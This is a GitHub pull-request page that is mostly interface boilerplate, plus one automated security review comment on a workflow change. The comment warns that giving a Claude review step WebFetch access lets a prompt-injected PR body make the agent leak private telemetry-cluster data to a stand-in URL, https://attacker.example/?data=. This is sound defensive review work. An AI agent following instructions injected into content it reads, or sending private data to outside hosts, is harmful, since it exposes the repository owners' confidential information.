-
Notifications
You must be signed in to change notification settings - Fork 306
fix(klaud): harden candidate dispatch and recovery / 加固 Klaud 候选调度与恢复 #3235
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
Show all changes
5 commits
Select commit
Hold shift + click to select a range
96cb966
fix(klaud): verify image updates independently
adibarra 21afb42
Merge remote-tracking branch 'origin/main' into fix/klaud-repo-owned-…
adibarra b464772
fix(klaud): harden candidate dispatch and recovery
adibarra 3a7e434
docs(klaud): keep performance changelogs concise
adibarra f0120b8
fix(klaud): trust verified terminal outcomes
adibarra File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🔴 The overlap-review Claude step now gets
WebFetchin --allowedTools, letting the model fetch any URL while it reads attacker-controlled PR titles/bodies/diffs (gh pr view/diffon arbitrary open PRs) and has capacity.json's telemetry-cluster data in context (the prompt itself calls this "private eligibility data"). A prompt-injected PR body can instruct the agent to encode that private data into a URL and call WebFetch to an attacker host, exfiltrating it. Fix: keep this read-only review step to Read/Glob/Grep/Bash(gh/git ...) as before, or restrict WebFetch to an explicit allow-listed domain set, so no free-form outbound fetch is reachable from a step that ingests untrusted PR content.Extended reasoning...
Step 'Check for overlapping open PRs' in klaud-plan.yml runs anthropics/claude-code-action with --allowedTools including WebFetch (line 88), which the base branch's version of this line did not include. The prompt tells the model to read every open PR's body/diff via gh pr view/diff for duplicate-detection, including arbitrary branches from external contributors. Those PR bodies are untrusted text the model treats as data but an injected instruction can override that. The model's context also holds capacity.json (eligible-telemetry-clusters), which the same prompt flags as private ('Never copy private eligibility data into reasons or reports') showing the authors know it is sensitive. Because WebFetch can hit any attacker-controlled URL, a malicious PR description can instruct the model to GET https://attacker.example/?data=, leaking private cluster capacity outside the run with no code-level guard against it. continue-on-error: true on this step also means such a run doesn't even fail the workflow, so it can go unnoticed.
Verification: normal (security-relevant, introduced by this change). Line 88 of klaud-plan.yml now adds
WebFetchto--allowedToolsfor the "Check for overlapping open PRs" step; the base version of this exact line hadRead,Glob,Grep,Bash(gh pr list:*),Bash(gh pr view:*),Bash(gh pr diff:*),Bash(gh api --method GET:*),Bash(git show:*),...with NO WebFetch. The three ingredients of an exfiltration chain…